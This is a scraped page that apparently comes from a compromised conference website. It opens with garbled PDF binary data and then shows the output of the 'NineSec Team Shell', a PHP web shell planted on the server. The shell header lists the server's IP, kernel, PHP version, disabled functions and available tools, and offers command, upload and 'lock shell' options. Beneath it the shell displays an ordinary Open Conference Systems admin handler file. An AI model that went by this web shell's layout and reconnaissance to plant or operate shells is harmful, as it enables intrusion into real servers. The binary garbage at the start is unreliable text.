%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /var/lib/../www/html/pages/admin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /var/lib/../www/html/pages/admin/AdminConferenceHandler.inc.php
<?php

/**
 * @file AdminConferenceHandler.inc.php
 *
 * Copyright (c) 2000-2012 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class AdminConferenceHandler
 * @ingroup pages_admin
 *
 * @brief Handle requests for conference management in site administration.
 */

//$Id$

import('pages.admin.AdminHandler');

class AdminConferenceHandler extends AdminHandler {
	/**
	 * Constructor
	 **/
	function AdminConferenceHandler() {
		parent::AdminHandler();
	}

	/**
	 * Display a list of the conferences hosted on the site.
	 */
	function conferences() {
		$this->validate();
		$this->setupTemplate(true);

		$rangeInfo = Handler::getRangeInfo('conferences');

		$conferenceDao =& DAORegistry::getDAO('ConferenceDAO');
		$conferences =& $conferenceDao->getConferences($rangeInfo);

		$templateMgr =& TemplateManager::getManager();
		$templateMgr->assign_by_ref('conferences', $conferences);
		$templateMgr->assign('helpTopicId', 'site.siteManagement');
		$templateMgr->display('admin/conferences.tpl');
	}

	/**
	 * Display form to create a new conference.
	 */
	function createConference() {
		AdminConferenceHandler::editConference();
	}

	/**
	 * Display form to create/edit a conference.
	 * @param $args array optional, if set the first parameter is the ID of the conference to edit
	 */
	function editConference($args = array()) {
		$this->validate();
		$this->setupTemplate(true);

		import('admin.form.ConferenceSiteSettingsForm');

		if (checkPhpVersion('5.0.0')) { // WARNING: This form needs $this in constructor
			$settingsForm = new ConferenceSiteSettingsForm(!isset($args) || empty($args) ? null : $args[0]);
		} else {
			$settingsForm =& new ConferenceSiteSettingsForm(!isset($args) || empty($args) ? null : $args[0]);
		}
		if ($settingsForm->isLocaleResubmit()) {
			$settingsForm->readInputData();
		} else {
			$settingsForm->initData();
		}
		$settingsForm->display();
	}

	/**
	 * Save changes to a conference's settings.
	 * @param $args array
	 * @param $request object
	 */
	function updateConference($args, &$request) {
		$this->validate();
		$this->setupTemplate(true);

		import('admin.form.ConferenceSiteSettingsForm');

		if (checkPhpVersion('5.0.0')) { // WARNING: This form needs $this in constructor
			$settingsForm = new ConferenceSiteSettingsForm($request->getUserVar('conferenceId'));
		} else {
			$settingsForm =& new ConferenceSiteSettingsForm($request->getUserVar('conferenceId'));
		}
		$settingsForm->readInputData();

		if ($settingsForm->validate()) {
			PluginRegistry::loadCategory('blocks');
			$settingsForm->execute();
			import('notification.NotificationManager');
			$notificationManager = new NotificationManager();
			$notificationManager->createTrivialNotification('notification.notification', 'common.changesSaved');
			$conferenceDao =& DAORegistry::getDAO('ConferenceDAO');
			$conference = $conferenceDao->getFreshestConference();
			$conferenceId = $conference->getData('id');
			$conferencePath = $conference->getData('path');

			if ( $settingsForm->getData('scheduleConf') ) {
				$request->redirect($conferencePath, null, 'manager', 'createSchedConf');
			} else {
				$request->redirect(null, null, null, 'conferences');
			}
		} else {
			$settingsForm->display();
		}
	}

	/**
	 * Delete a conference.
	 * @param $args array first parameter is the ID of the conference to delete
	 */
	function deleteConference($args, &$request) {
		$this->validate();

		$conferenceDao =& DAORegistry::getDAO('ConferenceDAO');

		if (isset($args) && !empty($args) && !empty($args[0])) {
			$conferenceId = $args[0];
			if ($conferenceDao->deleteConferenceById($conferenceId)) {
				// Delete conference file tree
				// FIXME move this somewhere better.
				import('file.FileManager');
				$fileManager = new FileManager();

				$conferencePath = Config::getVar('files', 'files_dir') . '/conferences/' . $conferenceId;
				$fileManager->rmtree($conferencePath);

				import('file.PublicFileManager');
				$publicFileManager = new PublicFileManager();
				$publicFileManager->rmtree($publicFileManager->getConferenceFilesPath($conferenceId));
			}
		}

		$request->redirect(null, null, null, 'conferences');
	}

	/**
	 * Change the sequence of a conference on the site index page.
	 * @param $args array
	 * @param $request object
	 */
	function moveConference($args, &$request) {
		$this->validate();

		$conferenceDao =& DAORegistry::getDAO('ConferenceDAO');
		$conference =& $conferenceDao->getConference($request->getUserVar('id'));

		if ($conference != null) {
			$direction = $request->getUserVar('d');
			if ($direction != null) {
				// moving with up or down arrow
				$conference->setSequence($conference->getSequence() + ($direction == 'u' ? -1.5 : 1.5));
			} else {
				// Dragging and dropping onto another conference
				$prevId = $request->getUserVar('prevId');
				if ($prevId == null)
					$prevSeq = 0;
				else {
					$prevConference = $conferenceDao->getConference($prevId);
					$prevSeq = $prevConference->getSequence();
				}
				$conference->setSequence($prevSeq + .5);
			}
			$conferenceDao->updateConference($conference);
			$conferenceDao->resequenceConferences();
		}

		// Moving up or down with the arrows requires a page reload.
		// In the case of a drag and drop move, the display has been
		// updated on the client side, so no reload is necessary.
		if ($direction != null) {
			$request->redirect(null, null, null, 'conferences');
		}
	}

	/**
	 * Show form to import data from an OCS 1.x conference.
	 */
	function importOCS1() {
		$this->validate();
		$this->setupTemplate(true);

		import('admin.form.ImportOCS1Form');

		$importForm = new ImportOCS1Form();
		$importForm->initData();
		$importForm->display();
	}

	/**
	 * Import data from an OCS 1.x conference.
	 * @param $args array
	 * @param $request object
	 */
	function doImportOCS1($args, &$request) {
		$this->validate();
		$this->setupTemplate(true);

		import('admin.form.ImportOCS1Form');

		$importForm = new ImportOCS1Form();
		$importForm->readInputData();

		if ($importForm->validate() && ($conferenceId = $importForm->execute()) !== false) {
			$conflicts = $importForm->getConflicts();
			$errors = $importForm->getErrors();
			if (!empty($conflicts) || !empty($errors)) {
				$templateMgr =& TemplateManager::getManager();
				$templateMgr->assign('conferenceId', $conferenceId);
				$templateMgr->assign('conflicts', $conflicts);
				$templateMgr->assign('errors', $errors);
				$templateMgr->display('admin/importConflicts.tpl');
			} else {
				$request->redirect(null, null, null, 'editConference', $conferenceId);
			}
		} else {
			$importForm->display();
		}
	}
}

?>

NineSec Team - 2022